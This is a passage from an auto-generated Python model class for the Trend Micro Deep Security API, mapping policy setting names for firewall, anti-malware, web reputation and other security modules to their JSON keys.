2021-10-30T16:40:09.000Z
|
source/deepsecurity/models/policy_settings.py
|
felipecosta09/cloudone-workload-controltower-lifecycle
|
7927c84d164058b034fc872701b5ee117641f4d1
|
[
"Apache-2.0"
] | 1
|
2021-07-28T20:19:03.000Z
|
2021-07-28T20:19:03.000Z
|
source/deepsecurity/models/policy_settings.py
|
felipecosta09/cloudone-workload-controltower-lifecycle
|
7927c84d164058b034fc872701b5ee117641f4d1
|
[
"Apache-2.0"
] | 1
|
2021-10-30T16:40:02.000Z
|
2021-10-30T16:40:02.000Z
|
# coding: utf-8
"""
Trend Micro Deep Security API
Copyright 2018 - 2020 Trend Micro Incorporated.<br/>Get protected, stay secured, and keep informed with Trend Micro Deep Security's new RESTful API. Access system data and manage security configurations to automate your security workflows and integrate Deep Security into your CI/CD pipeline. # noqa: E501
OpenAPI spec version: 12.5.841
Generated by: https://github.com/swagger-api/swagger-codegen.git
"""
import pprint
import re # noqa: F401
import six
from deepsecurity.models.setting_value import SettingValue # noqa: F401,E501
class PolicySettings(object):
"""NOTE: This class is auto generated by the swagger code generator program.
Do not edit the class manually.
"""
"""
Attributes:
swagger_types (dict): The key is attribute name
and the value is attribute type.
attribute_map (dict): The key is attribute name
and the value is json key in definition.
"""
swagger_types = {
'log_inspection_setting_severity_clipping_agent_event_send_syslog_level_min': 'SettingValue',
'firewall_setting_engine_option_connections_cleanup_max': 'SettingValue',
'firewall_setting_engine_option_verify_tcp_checksum_enabled': 'SettingValue',
'anti_malware_setting_scan_cache_on_demand_config_id': 'SettingValue',
'application_control_setting_shared_ruleset_id': 'SettingValue',
'web_reputation_setting_smart_protection_server_connection_lost_warning_enabled': 'SettingValue',
'application_control_setting_execution_enforcement_level': 'SettingValue',
'web_reputation_setting_blocked_url_domains': 'SettingValue',
'firewall_setting_engine_option_syn_sent_timeout': 'SettingValue',
'platform_setting_agent_self_protection_password': 'SettingValue',
'firewall_setting_reconnaissance_block_tcp_xmas_attack_duration': 'SettingValue',
'intrusion_prevention_setting_virtual_and_container_network_scan_enabled': 'SettingValue',
'log_inspection_setting_syslog_config_id': 'SettingValue',
'firewall_setting_engine_option_debug_mode_enabled': 'SettingValue',
'firewall_setting_virtual_and_container_network_scan_enabled': 'SettingValue',
'anti_malware_setting_file_hash_sha256_enabled': 'SettingValue',
'firewall_setting_reconnaissance_notify_fingerprint_probe_enabled': 'SettingValue',
'firewall_setting_event_log_file_retain_num': 'SettingValue',
'firewall_setting_anti_evasion_check_tcp_paws_zero': 'SettingValue',
'anti_malware_setting_connected_threat_defense_use_control_manager_suspicious_object_list_enabled': 'SettingValue',
'intrusion_prevention_setting_engine_option_fragmented_ip_keep_max': 'SettingValue',
'firewall_setting_engine_option_drop6_to4_bogons_addresses_enabled': 'SettingValue',
'log_inspection_setting_severity_clipping_agent_event_store_level_min': 'SettingValue',
'platform_setting_scan_cache_concurrency_max': 'SettingValue',
'anti_malware_setting_syslog_config_id': 'SettingValue',
'firewall_setting_anti_evasion_tcp_paws_window_policy': 'SettingValue',
'firewall_setting_reconnaissance_detect_tcp_xmas_attack_enabled': 'SettingValue',
'application_control_setting_ruleset_mode': 'SettingValue',
'anti_malware_setting_smart_protection_global_server_use_proxy_enabled': 'SettingValue',
'web_reputation_setting_smart_protection_local_server_allow_off_domain_global': 'SettingValue',
'integrity_monitoring_setting_combined_mode_protection_source': 'SettingValue',
'firewall_setting_engine_option_close_wait_timeout': 'SettingValue',
'platform_setting_scan_open_port_list_id': 'SettingValue',
'platform_setting_agent_self_protection_password_enabled': 'SettingValue',
'firewall_setting_engine_option_ack_timeout': 'SettingValue',
'firewall_setting_event_log_file_cached_entries_stale_time': 'SettingValue',
'firewall_setting_combined_mode_protection_source': 'SettingValue',
'platform_setting_agent_events_send_interval': 'SettingValue',
'platform_setting_inactive_agent_cleanup_override_enabled': 'SettingValue',
'firewall_setting_failure_response_engine_system': 'SettingValue',
'platform_setting_relay_state': 'SettingValue',
'firewall_setting_engine_option_drop_evasive_retransmit_enabled': 'SettingValue',
'activity_monitoring_setting_indicator_enabled': 'SettingValue',
'intrusion_prevention_setting_engine_option_fragmented_ip_timeout': 'SettingValue',
'firewall_setting_anti_evasion_check_tcp_zero_flags': 'SettingValue',
'web_reputation_setting_smart_protection_global_server_use_proxy_enabled': 'SettingValue',
'intrusion_prevention_setting_nsx_security_tagging_prevent_mode_level': 'SettingValue',
'firewall_setting_reconnaissance_notify_tcp_xmas_attack_enabled': 'SettingValue',
'firewall_setting_engine_option_udp_timeout': 'SettingValue',
'web_reputation_setting_smart_protection_local_server_enabled': 'SettingValue',
'firewall_setting_engine_option_tcp_mss_limit': 'SettingValue',
'firewall_setting_engine_option_cold_start_timeout': 'SettingValue',
'firewall_setting_engine_option_established_timeout': 'SettingValue',
'anti_malware_setting_identified_files_space_max_mbytes': 'SettingValue',
'firewall_setting_engine_option_allow_null_ip_enabled': 'SettingValue',
'platform_setting_notifications_suppress_popups_enabled': 'SettingValue',
'firewall_setting_anti_evasion_check_tcp_rst_fin_flags': 'SettingValue',
'firewall_setting_engine_option_disconnect_timeout': 'SettingValue',
'firewall_setting_engine_option_close_timeout': 'SettingValue',
'firewall_setting_engine_option_tunnel_depth_max_exceeded_action': 'SettingValue',
'firewall_setting_reconnaissance_detect_tcp_null_scan_enabled': 'SettingValue',
'platform_setting_smart_protection_anti_malware_global_server_proxy_id': 'SettingValue',
'firewall_setting_engine_option_filter_ipv4_tunnels': 'SettingValue',
'web_reputation_setting_smart_protection_local_server_urls': 'SettingValue',
'firewall_setting_engine_option_log_one_packet_period': 'SettingValue',
'firewall_setting_engine_option_filter_ipv6_tunnels': 'SettingValue',
'firewall_setting_anti_evasion_check_tcp_congestion_flags': 'SettingValue',
'platform_setting_heartbeat_missed_alert_threshold': 'SettingValue',
'intrusion_prevention_setting_engine_options_enabled': 'SettingValue',
'firewall_setting_engine_option_connections_num_udp_max': 'SettingValue',
'integrity_monitoring_setting_auto_apply_recommendations_enabled': 'SettingValue',
'firewall_setting_engine_option_tunnel_depth_max': 'SettingValue',
'firewall_setting_engine_option_drop_unknown_ssl_protocol_enabled': 'SettingValue',
'anti_malware_setting_nsx_security_tagging_value': 'SettingValue',
'intrusion_prevention_setting_log_data_rule_first_match_enabled': 'SettingValue',
'firewall_setting_engine_option_logging_policy': 'SettingValue',
'platform_setting_troubleshooting_logging_level': 'SettingValue',
'anti_malware_setting_virtual_appliance_on_demand_scan_cache_entries_max': 'SettingValue',
'web_reputation_setting_combined_mode_protection_source': 'SettingValue',
'firewall_setting_engine_option_closing_timeout': 'SettingValue',
'firewall_setting_anti_evasion_check_paws': 'SettingValue',
'intrusion_prevention_setting_auto_apply_recommendations_enabled': 'SettingValue',
'firewall_setting_reconnaissance_detect_fingerprint_probe_enabled': 'SettingValue',
'anti_malware_setting_nsx_security_tagging_remove_on_clean_scan_enabled': 'SettingValue',
'firewall_setting_engine_option_log_packet_length_max': 'SettingValue',
'firewall_setting_engine_option_drop_teredo_anomalies_enabled': 'SettingValue',
'web_reputation_setting_security_level': 'SettingValue',
'firewall_setting_engine_option_drop_ipv6_site_local_addresses_enabled': 'SettingValue',
'activity_monitoring_setting_activity_enabled': 'SettingValue',
'firewall_setting_engine_option_strict_terodo_port_check_enabled': 'SettingValue',
'web_reputation_setting_blocked_url_keywords': 'SettingValue',
'web_reputation_setting_syslog_config_id': 'SettingValue',
'firewall_setting_failure_response_packet_sanity_check': 'SettingValue',
'firewall_setting_network_engine_mode': 'SettingValue',
'firewall_setting_event_log_file_size_max': 'SettingValue',
'anti_malware_setting_malware_scan_multithreaded_processing_enabled': 'SettingValue',
'firewall_setting_reconnaissance_detect_tcp_syn_fin_scan_enabled': 'SettingValue',
'firewall_setting_engine_option_drop_ip_zero_payload_enabled': 'SettingValue',
'firewall_setting_engine_option_block_ipv6_agent8_and_earlier_enabled': 'SettingValue',
'intrusion_prevention_setting_engine_option_fragmented_ip_packet_send_icmp_enabled': 'SettingValue',
'anti_malware_setting_predictive_machine_learning_exceptions': 'SettingValue',
'firewall_setting_engine_option_log_events_per_second_max': 'SettingValue',
'firewall_setting_engine_option_ssl_session_time': 'SettingValue',
'anti_malware_setting_behavior_monitoring_scan_exclusion_list': 'SettingValue',
'anti_malware_setting_smart_protection_global_server_enabled': 'SettingValue',
'firewall_setting_engine_option_log_one_packet_within_period_enabled': 'SettingValue',
'firewall_setting_engine_option_generate_connection_events_icmp_enabled': 'SettingValue',
'platform_setting_heartbeat_inactive_vm_offline_alert_enabled': 'SettingValue',
'web_reputation_setting_smart_protection_web_reputation_global_server_proxy_id': 'SettingValue',
'anti_malware_setting_nsx_security_tagging_enabled': 'SettingValue',
'firewall_setting_anti_evasion_check_fragmented_packets': 'SettingValue',
'firewall_setting_engine_option_connections_num_icmp_max': 'SettingValue',
'firewall_setting_anti_evasion_check_tcp_split_handshake': 'SettingValue',
'anti_malware_setting_combined_mode_protection_source': 'SettingValue',
'firewall_setting_engine_option_event_nodes_max': 'SettingValue',
'web_reputation_setting_monitor_port_list_id': 'SettingValue',
'application_control_setting_syslog_config_id': 'SettingValue',
'firewall_setting_anti_evasion_check_out_no_connection': 'SettingValue',
'firewall_setting_engine_option_block_ipv6_agent9_and_later_enabled': 'SettingValue',
'integrity_monitoring_setting_virtual_appliance_optimization_scan_cache_entries_max': 'SettingValue',
'firewall_setting_reconnaissance_notify_tcp_null_scan_enabled': 'SettingValue',
'firewall_setting_engine_option_ignore_status_code1': 'SettingValue',
'firewall_setting_engine_option_ignore_status_code0': 'SettingValue',
'firewall_setting_engine_option_ignore_status_code2': 'SettingValue',
'firewall_setting_engine_option_ssl_session_size': 'SettingValue',
'anti_malware_setting_scan_cache_real_time_config_id': 'SettingValue',
'platform_setting_recommendation_ongoing_scans_interval': 'SettingValue',
'platform_setting_smart_protection_global_server_use_proxy_enabled': 'SettingValue',
'firewall_setting_interface_limit_one_active_enabled': 'SettingValue',
'firewall_setting_anti_evasion_check_tcp_checksum': 'SettingValue',
'firewall_setting_engine_option_drop_ipv6_ext_type0_enabled': 'SettingValue',
'anti_malware_setting_scan_file_size_max_mbytes': 'SettingValue',
'firewall_setting_engine_option_generate_connection_events_tcp_enabled': 'SettingValue',
'anti_malware_setting_file_hash_size_max_mbytes': 'SettingValue',
'firewall_setting_event_log_file_cached_entries_life_time': 'SettingValue',
'platform_setting_smart_protection_global_server_proxy_id': 'SettingValue',
'log_inspection_setting_auto_apply_recommendations_enabled': 'SettingValue',
'anti_malware_setting_connected_threat_defense_suspicious_file_ddan_submission_enabled': 'SettingValue',
'web_reputation_setting_blocking_page_link': 'SettingValue',
'firewall_setting_syslog_config_id': 'SettingValue',
'platform_setting_agent_communications_direction': 'SettingValue',
'integrity_monitoring_setting_scan_cache_config_id': 'SettingValue',
'anti_malware_setting_document_exploit_protection_rule_exceptions': 'SettingValue',
'firewall_setting_anti_evasion_check_tcp_syn_with_data': 'SettingValue',
'anti_malware_setting_file_hash_enabled': 'SettingValue',
'firewall_setting_reconnaissance_block_fingerprint_probe_duration': 'SettingValue',
'firewall_setting_engine_option_drop_ipv6_bogons_addresses_enabled': 'SettingValue',
'firewall_setting_engine_option_boot_start_timeout': 'SettingValue',
'firewall_setting_engine_option_connections_num_tcp_max': 'SettingValue',
'firewall_setting_anti_evasion_security_posture': 'SettingValue',
'firewall_setting_interface_patterns': 'SettingValue',
'firewall_setting_interface_isolation_enabled': 'SettingValue',
'anti_malware_setting_virtual_appliance_real_time_scan_cache_entries_max': 'SettingValue',
'firewall_setting_events_out_of_allowed_policy_enabled': 'SettingValue',
'firewall_setting_anti_evasion_check_evasive_retransmit': 'SettingValue',
'firewall_setting_engine_option_icmp_timeout': 'SettingValue',
'integrity_monitoring_setting_syslog_config_id': 'SettingValue',
'firewall_setting_engine_option_connection_cleanup_timeout': 'SettingValue',
'anti_malware_setting_smart_protection_local_server_allow_off_domain_global': 'SettingValue',
'firewall_setting_reconnaissance_notify_tcp_syn_fin_scan_enabled': 'SettingValue',
'firewall_setting_engine_option_error_timeout': 'SettingValue',
'web_reputation_setting_allowed_urls': 'SettingValue',
'firewall_setting_reconnaissance_notify_network_or_port_scan_enabled': 'SettingValue',
'firewall_setting_engine_option_fin_wait1_timeout': 'SettingValue',
'firewall_setting_engine_option_generate_connection_events_udp_enabled': 'SettingValue',
'activity_monitoring_setting_syslog_config_id': 'SettingValue',
'firewall_setting_anti_evasion_check_tcp_syn_rst_flags': 'SettingValue',
'anti_malware_setting_spyware_approved_list': 'SettingValue',
'firewall_setting_anti_evasion_check_tcp_urgent_flags': 'SettingValue',
'intrusion_prevention_setting_nsx_security_tagging_detect_mode_level': 'SettingValue',
'intrusion_prevention_setting_engine_option_fragmented_ip_unconcerned_mac_address_bypass_enabled': 'SettingValue',
'firewall_setting_engine_option_log_all_packet_data_enabled': 'SettingValue',
'firewall_setting_anti_evasion_check_tcp_syn_fin_flags': 'SettingValue',
'platform_setting_heartbeat_interval': 'SettingValue',
'firewall_setting_engine_option_fragment_size_min': 'SettingValue',
'anti_malware_setting_smart_protection_server_connection_lost_warning_enabled': 'SettingValue',
'firewall_setting_reconnaissance_block_network_or_port_scan_duration': 'SettingValue',
'integrity_monitoring_setting_content_hash_algorithm': 'SettingValue',
'anti_malware_setting_smart_scan_state': 'SettingValue',
'firewall_setting_config_package_exceeds_alert_max_enabled': 'SettingValue',
'platform_setting_environment_variable_overrides': 'SettingValue',
'firewall_setting_engine_option_fragment_offset_min': 'SettingValue',
'anti_malware_setting_smart_protection_local_server_urls': 'SettingValue',
'firewall_setting_engine_option_syn_rcvd_timeout': 'SettingValue',
'firewall_setting_event_log_file_cached_entries_num': 'SettingValue',
'firewall_setting_engine_option_force_allow_icmp_type3_code4': 'SettingValue',
'firewall_setting_reconnaissance_block_tcp_null_scan_duration': 'SettingValue',
'platform_setting_smart_protection_global_server_enabled': 'SettingValue',
'integrity_monitoring_setting_realtime_enabled': 'SettingValue',
'firewall_setting_engine_option_last_ack_timeout': 'SettingValue',
'firewall_setting_reconnaissance_exclude_ip_list_id': 'SettingValue',
'platform_setting_agent_self_protection_enabled': 'SettingValue',
'firewall_setting_engine_option_drop_ipv6_reserved_addresses_enabled': 'SettingValue',
'firewall_setting_anti_evasion_check_fin_no_connection': 'SettingValue',
'firewall_setting_engine_option_debug_packet_num_max': 'SettingValue',
'firewall_setting_engine_option_bypass_cisco_waas_connections_enabled': 'SettingValue',
'firewall_setting_reconnaissance_enabled': 'SettingValue',
'platform_setting_heartbeat_local_time_shift_alert_threshold': 'SettingValue',
'anti_malware_setting_file_hash_md5_enabled': 'SettingValue',
'firewall_setting_reconnaissance_detect_network_or_port_scan_enabled': 'SettingValue',
'firewall_setting_engine_option_silent_tcp_connection_drop_enabled': 'SettingValue',
'firewall_setting_engine_option_block_same_src_dst_ip_enabled': 'SettingValue',
'firewall_setting_engine_option_force_allow_dhcp_dns': 'SettingValue',
'firewall_setting_reconnaissance_include_ip_list_id': 'SettingValue',
'firewall_setting_engine_options_enabled': 'SettingValue',
'firewall_setting_reconnaissance_block_tcp_syn_fin_scan_duration': 'SettingValue',
'web_reputation_setting_security_block_untested_pages_enabled': 'SettingValue',
'web_reputation_setting_allowed_url_domains': 'SettingValue',
'firewall_setting_event_log_file_ignore_source_ip_list_id': 'SettingValue',
'firewall_setting_engine_option_drop_ipv6_fragments_lower_than_min_mtu_enabled': 'SettingValue',
'platform_setting_auto_assign_new_intrusion_prevention_rules_enabled': 'SettingValue',
'firewall_setting_anti_evasion_check_rst_no_connection': 'SettingValue',
'web_reputation_setting_blocked_urls': 'SettingValue',
'platform_setting_combined_mode_network_group_protection_source': 'SettingValue',
'web_reputation_setting_alerting_enabled': 'SettingValue',
'anti_malware_setting_nsx_security_tagging_on_remediation_failure_enabled': 'SettingValue',
'integrity_monitoring_setting_cpu_usage_level': 'SettingValue',
'platform_setting_auto_update_anti_malware_engine_enabled': 'SettingValue',
'intrusion_prevention_setting_combined_mode_protection_source': 'SettingValue'
}
attribute_map = {
'log_inspection_setting_severity_clipping_agent_event_send_syslog_level_min': 'logInspectionSettingSeverityClippingAgentEventSendSyslogLevelMin',
'firewall_setting_engine_option_connections_cleanup_max': 'firewallSettingEngineOptionConnectionsCleanupMax',
'firewall_setting_engine_option_verify_tcp_checksum_enabled': 'firewallSettingEngineOptionVerifyTcpChecksumEnabled',
'anti_malware_setting_scan_cache_on_demand_config_id': 'antiMalwareSettingScanCacheOnDemandConfigId',
'application_control_setting_shared_ruleset_id': 'applicationControlSettingSharedRulesetId',
'web_reputation_setting_smart_protection_server_connection_lost_warning_enabled': 'webReputationSettingSmartProtectionServerConnectionLostWarningEnabled',
'application_control_setting_execution_enforcement_level': 'applicationControlSettingExecutionEnforcementLevel',
'web_reputation_setting_blocked_url_domains': 'webReputationSettingBlockedUrlDomains',
'firewall_setting_engine_option_syn_sent_timeout': 'firewallSettingEngineOptionSynSentTimeout',
'platform_setting_agent_self_protection_password': 'platformSettingAgentSelfProtectionPassword',
'firewall_setting_reconnaissance_block_tcp_xmas_attack_duration': 'firewallSettingReconnaissanceBlockTcpXmasAttackDuration',
'intrusion_prevention_setting_virtual_and_container_network_scan_enabled': 'intrusionPreventionSettingVirtualAndContainerNetworkScanEnabled',
'log_inspection_setting_syslog_config_id': 'logInspectionSettingSyslogConfigId',
'firewall_setting_engine_option_debug_mode_enabled': 'firewallSettingEngineOptionDebugModeEnabled',
'firewall_setting_virtual_and_container_network_scan_enabled': 'firewallSettingVirtualAndContainerNetworkScanEnabled',
'anti_malware_setting_file_hash_sha256_enabled': 'antiMalwareSettingFileHashSha256Enabled',
'firewall_setting_reconnaissance_notify_fingerprint_probe_enabled': 'firewallSettingReconnaissanceNotifyFingerprintProbeEnabled',
'firewall_setting_event_log_file_retain_num': 'firewallSettingEventLogFileRetainNum',
'firewall_setting_anti_evasion_check_tcp_paws_zero': 'firewallSettingAntiEvasionCheckTcpPawsZero',
'anti_malware_setting_connected_threat_defense_use_control_manager_suspicious_object_list_enabled': 'antiMalwareSettingConnectedThreatDefenseUseControlManagerSuspiciousObjectListEnabled',
'intrusion_prevention_setting_engine_option_fragmented_ip_keep_max': 'intrusionPreventionSettingEngineOptionFragmentedIpKeepMax',
'firewall_setting_engine_option_drop6_to4_bogons_addresses_enabled': 'firewallSettingEngineOptionDrop6To4BogonsAddressesEnabled',
'log_inspection_setting_severity_clipping_agent_event_store_level_min': 'logInspectionSettingSeverityClippingAgentEventStoreLevelMin',
'platform_setting_scan_cache_concurrency_max': 'platformSettingScanCacheConcurrencyMax',
'anti_malware_setting_syslog_config_id': 'antiMalwareSettingSyslogConfigId',
'firewall_setting_anti_evasion_tcp_paws_window_policy': 'firewallSettingAntiEvasionTcpPawsWindowPolicy',
'firewall_setting_reconnaissance_detect_tcp_xmas_attack_enabled': 'firewallSettingReconnaissanceDetectTcpXmasAttackEnabled',
'application_control_setting_ruleset_mode': 'applicationControlSettingRulesetMode',
'anti_malware_setting_smart_protection_global_server_use_proxy_enabled': 'antiMalwareSettingSmartProtectionGlobalServerUseProxyEnabled',
'web_reputation_setting_smart_protection_local_server_allow_off_domain_global': 'webReputationSettingSmartProtectionLocalServerAllowOffDomainGlobal',
'integrity_monitoring_setting_combined_mode_protection_source': 'integrityMonitoringSettingCombinedModeProtectionSource',
'firewall_setting_engine_option_close_wait_timeout': 'firewallSettingEngineOptionCloseWaitTimeout',
'platform_setting_scan_open_port_list_id': 'platformSettingScanOpenPortListId',
'platform_setting_agent_self_protection_password_enabled': 'platformSettingAgentSelfProtectionPasswordEnabled',
'firewall_setting_engine_option_ack_timeout': 'firewallSettingEngineOptionAckTimeout',
'firewall_setting_event_log_file_cached_entries_stale_time': 'firewallSettingEventLogFileCachedEntriesStaleTime',
'firewall_setting_combined_mode_protection_source': 'firewallSettingCombinedModeProtectionSource',
'platform_setting_agent_events_send_interval': 'platformSettingAgentEventsSendInterval',
'platform_setting_inactive_agent_cleanup_override_enabled': 'platformSettingInactiveAgentCleanupOverrideEnabled',
'firewall_setting_failure_response_engine_system': 'firewallSettingFailureResponseEngineSystem',
'platform_setting_relay_state': 'platformSettingRelayState',
'firewall_setting_engine_option_drop_evasive_retransmit_enabled': 'firewallSettingEngineOptionDropEvasiveRetransmitEnabled',
'activity_monitoring_setting_indicator_enabled': 'activityMonitoringSettingIndicatorEnabled',
'intrusion_prevention_setting_engine_option_fragmented_ip_timeout': 'intrusionPreventionSettingEngineOptionFragmentedIpTimeout',
'firewall_setting_anti_evasion_check_tcp_zero_flags': 'firewallSettingAntiEvasionCheckTcpZeroFlags',
'web_reputation_setting_smart_protection_global_server_use_proxy_enabled': 'webReputationSettingSmartProtectionGlobalServerUseProxyEnabled',
'intrusion_prevention_setting_nsx_security_tagging_prevent_mode_level': 'intrusionPreventionSettingNsxSecurityTaggingPreventModeLevel',
'firewall_setting_reconnaissance_notify_tcp_xmas_attack_enabled': 'firewallSettingReconnaissanceNotifyTcpXmasAttackEnabled',
'firewall_setting_engine_option_udp_timeout': 'firewallSettingEngineOptionUdpTimeout',
'web_reputation_setting_smart_protection_local_server_enabled': 'webReputationSettingSmartProtectionLocalServerEnabled',
'firewall_setting_engine_option_tcp_mss_limit': 'firewallSettingEngineOptionTcpMssLimit',
'firewall_setting_engine_option_cold_start_timeout': 'firewallSettingEngineOptionColdStartTimeout',
'firewall_setting_engine_option_established_timeout': 'firewallSettingEngineOptionEstablishedTimeout',
'anti_malware_setting_identified_files_space_max_mbytes': 'antiMalwareSettingIdentifiedFilesSpaceMaxMbytes',
'firewall_setting_engine_option_allow_null_ip_enabled': 'firewallSettingEngineOptionAllowNullIpEnabled',
'platform_setting_notifications_suppress_popups_enabled': 'platformSettingNotificationsSuppressPopupsEnabled',
'firewall_setting_anti_evasion_check_tcp_rst_fin_flags': 'firewallSettingAntiEvasionCheckTcpRstFinFlags',
'firewall_setting_engine_option_disconnect_timeout': 'firewallSettingEngineOptionDisconnectTimeout',
'firewall_setting_engine_option_close_timeout': 'firewallSettingEngineOptionCloseTimeout',
'firewall_setting_engine_option_tunnel_depth_max_exceeded_action': 'firewallSettingEngineOptionTunnelDepthMaxExceededAction',
'firewall_setting_reconnaissance_detect_tcp_null_scan_enabled': 'firewallSettingReconnaissanceDetectTcpNullScanEnabled',
'platform_setting_smart_protection_anti_malware_global_server_proxy_id': 'platformSettingSmartProtectionAntiMalwareGlobalServerProxyId',
'firewall_setting_engine_option_filter_ipv4_tunnels': 'firewallSettingEngineOptionFilterIpv4Tunnels',
'web_reputation_setting_smart_protection_local_server_urls': 'webReputationSettingSmartProtectionLocalServerUrls',
'firewall_setting_engine_option_log_one_packet_period': 'firewallSettingEngineOptionLogOnePacketPeriod',
'firewall_setting_engine_option_filter_ipv6_tunnels': 'firewallSettingEngineOptionFilterIpv6Tunnels',
'firewall_setting_anti_evasion_check_tcp_congestion_flags': 'firewallSettingAntiEvasionCheckTcpCongestionFlags',
'platform_setting_heartbeat_missed_alert_threshold': 'platformSettingHeartbeatMissedAlertThreshold',
'intrusion_prevention_setting_engine_options_enabled': 'intrusionPreventionSettingEngineOptionsEnabled',
'firewall_setting_engine_option_connections_num_udp_max': 'firewallSettingEngineOptionConnectionsNumUdpMax',
'integrity_monitoring_setting_auto_apply_recommendations_enabled': 'integrityMonitoringSettingAutoApplyRecommendationsEnabled',
'firewall_setting_engine_option_tunnel_depth_max': 'firewallSettingEngineOptionTunnelDepthMax',
'firewall_setting_engine_option_drop_unknown_ssl_protocol_enabled': 'firewallSettingEngineOptionDropUnknownSslProtocolEnabled',
'anti_malware_setting_nsx_security_tagging_value': 'antiMalwareSettingNsxSecurityTaggingValue',
'intrusion_prevention_setting_log_data_rule_first_match_enabled': 'intrusionPreventionSettingLogDataRuleFirstMatchEnabled',
'firewall_setting_engine_option_logging_policy': 'firewallSettingEngineOptionLoggingPolicy',
'platform_setting_troubleshooting_logging_level': 'platformSettingTroubleshootingLoggingLevel',
'anti_malware_setting_virtual_appliance_on_demand_scan_cache_entries_max': 'antiMalwareSettingVirtualApplianceOnDemandScanCacheEntriesMax',
'web_reputation_setting_combined_mode_protection_source': 'webReputationSettingCombinedModeProtectionSource',
'firewall_setting_engine_option_closing_timeout': 'firewallSettingEngineOptionClosingTimeout',
'firewall_setting_anti_evasion_check_paws': 'firewallSettingAntiEvasionCheckPaws',
'intrusion_prevention_setting_auto_apply_recommendations_enabled': 'intrusionPreventionSettingAutoApplyRecommendationsEnabled',
'firewall_setting_reconnaissance_detect_fingerprint_probe_enabled': 'firewallSettingReconnaissanceDetectFingerprintProbeEnabled',
'anti_malware_setting_nsx_security_tagging_remove_on_clean_scan_enabled': 'antiMalwareSettingNsxSecurityTaggingRemoveOnCleanScanEnabled',
'firewall_setting_engine_option_log_packet_length_max': 'firewallSettingEngineOptionLogPacketLengthMax',
'firewall_setting_engine_option_drop_teredo_anomalies_enabled': 'firewallSettingEngineOptionDropTeredoAnomaliesEnabled',
'web_reputation_setting_security_level': 'webReputationSettingSecurityLevel',
'firewall_setting_engine_option_drop_ipv6_site_local_addresses_enabled': 'firewallSettingEngineOptionDropIpv6SiteLocalAddressesEnabled',
'activity_monitoring_setting_activity_enabled': 'activityMonitoringSettingActivityEnabled',
'firewall_setting_engine_option_strict_terodo_port_check_enabled': 'firewallSettingEngineOptionStrictTerodoPortCheckEnabled',
'web_reputation_setting_blocked_url_keywords': 'webReputationSettingBlockedUrlKeywords',
'web_reputation_setting_syslog_config_id': 'webReputationSettingSyslogConfigId',
'firewall_setting_failure_response_packet_sanity_check': 'firewallSettingFailureResponsePacketSanityCheck',
'firewall_setting_network_engine_mode': 'firewallSettingNetworkEngineMode',
'firewall_setting_event_log_file_size_max': 'firewallSettingEventLogFileSizeMax',
'anti_malware_setting_malware_scan_multithreaded_processing_enabled': 'antiMalwareSettingMalwareScanMultithreadedProcessingEnabled',
'firewall_setting_reconnaissance_detect_tcp_syn_fin_scan_enabled': 'firewallSettingReconnaissanceDetectTcpSynFinScanEnabled',
'firewall_setting_engine_option_drop_ip_zero_payload_enabled': 'firewallSettingEngineOptionDropIpZeroPayloadEnabled',
'firewall_setting_engine_option_block_ipv6_agent8_and_earlier_enabled': 'firewallSettingEngineOptionBlockIpv6Agent8AndEarlierEnabled',
'intrusion_prevention_setting_engine_option_fragmented_ip_packet_send_icmp_enabled': 'intrusionPreventionSettingEngineOptionFragmentedIpPacketSendIcmpEnabled',
'anti_malware_setting_predictive_machine_learning_exceptions': 'antiMalwareSettingPredictiveMachineLearningExceptions',
'firewall_setting_engine_option_log_events_per_second_max': 'firewallSettingEngineOptionLogEventsPerSecondMax',
'firewall_setting_engine_option_ssl_session_time': 'firewallSettingEngineOptionSslSessionTime',
'anti_malware_setting_behavior_monitoring_scan_exclusion_list': 'antiMalwareSettingBehaviorMonitoringScanExclusionList',
'anti_malware_setting_smart_protection_global_server_enabled': 'antiMalwareSettingSmartProtectionGlobalServerEnabled',
'firewall_setting_engine_option_log_one_packet_within_period_enabled': 'firewallSettingEngineOptionLogOnePacketWithinPeriodEnabled',
'firewall_setting_engine_option_generate_connection_events_icmp_enabled': 'firewallSettingEngineOptionGenerateConnectionEventsIcmpEnabled',
'platform_setting_heartbeat_inactive_vm_offline_alert_enabled': 'platformSettingHeartbeatInactiveVmOfflineAlertEnabled',
'web_reputation_setting_smart_protection_web_reputation_global_server_proxy_id': 'webReputationSettingSmartProtectionWebReputationGlobalServerProxyId',
'anti_malware_setting_nsx_security_tagging_enabled': 'antiMalwareSettingNsxSecurityTaggingEnabled',
'firewall_setting_anti_evasion_check_fragmented_packets': 'firewallSettingAntiEvasionCheckFragmentedPackets',
'firewall_setting_engine_option_connections_num_icmp_max': 'firewallSettingEngineOptionConnectionsNumIcmpMax',
'firewall_setting_anti_evasion_check_tcp_split_handshake': 'firewallSettingAntiEvasionCheckTcpSplitHandshake',
'anti_malware_setting_combined_mode_protection_source': 'antiMalwareSettingCombinedModeProtectionSource',
'firewall_setting_engine_option_event_nodes_max': 'firewallSettingEngineOptionEventNodesMax',
'web_reputation_setting_monitor_port_list_id': 'webReputationSettingMonitorPortListId',
'application_control_setting_syslog_config_id': 'applicationControlSettingSyslogConfigId',
'firewall_setting_anti_evasion_check_out_no_connection': 'firewallSettingAntiEvasionCheckOutNoConnection',
'firewall_setting_engine_option_block_ipv6_agent9_and_later_enabled': 'firewallSettingEngineOptionBlockIpv6Agent9AndLaterEnabled',
'integrity_monitoring_setting_virtual_appliance_optimization_scan_cache_entries_max': 'integrityMonitoringSettingVirtualApplianceOptimizationScanCacheEntriesMax',
'firewall_setting_reconnaissance_notify_tcp_null_scan_enabled': 'firewallSettingReconnaissanceNotifyTcpNullScanEnabled',
'firewall_setting_engine_option_ignore_status_code1': 'firewallSettingEngineOptionIgnoreStatusCode1',
'firewall_setting_engine_option_ignore_status_code0': 'firewallSettingEngineOptionIgnoreStatusCode0',
'firewall_setting_engine_option_ignore_status_code2': 'firewallSettingEngineOptionIgnoreStatusCode2',
'firewall_setting_engine_option_ssl_session_size': 'firewallSettingEngineOptionSslSessionSize',
'anti_malware_setting_scan_cache_real_time_config_id': 'antiMalwareSettingScanCacheRealTimeConfigId',
'platform_setting_recommendation_ongoing_scans_interval': 'platformSettingRecommendationOngoingScansInterval',
'platform_setting_smart_protection_global_server_use_proxy_enabled': 'platformSettingSmartProtectionGlobalServerUseProxyEnabled',
'firewall_setting_interface_limit_one_active_enabled': 'firewallSettingInterfaceLimitOneActiveEnabled',
'firewall_setting_anti_evasion_check_tcp_checksum': 'firewallSettingAntiEvasionCheckTcpChecksum',
'firewall_setting_engine_option_drop_ipv6_ext_type0_enabled': 'firewallSettingEngineOptionDropIpv6ExtType0Enabled',
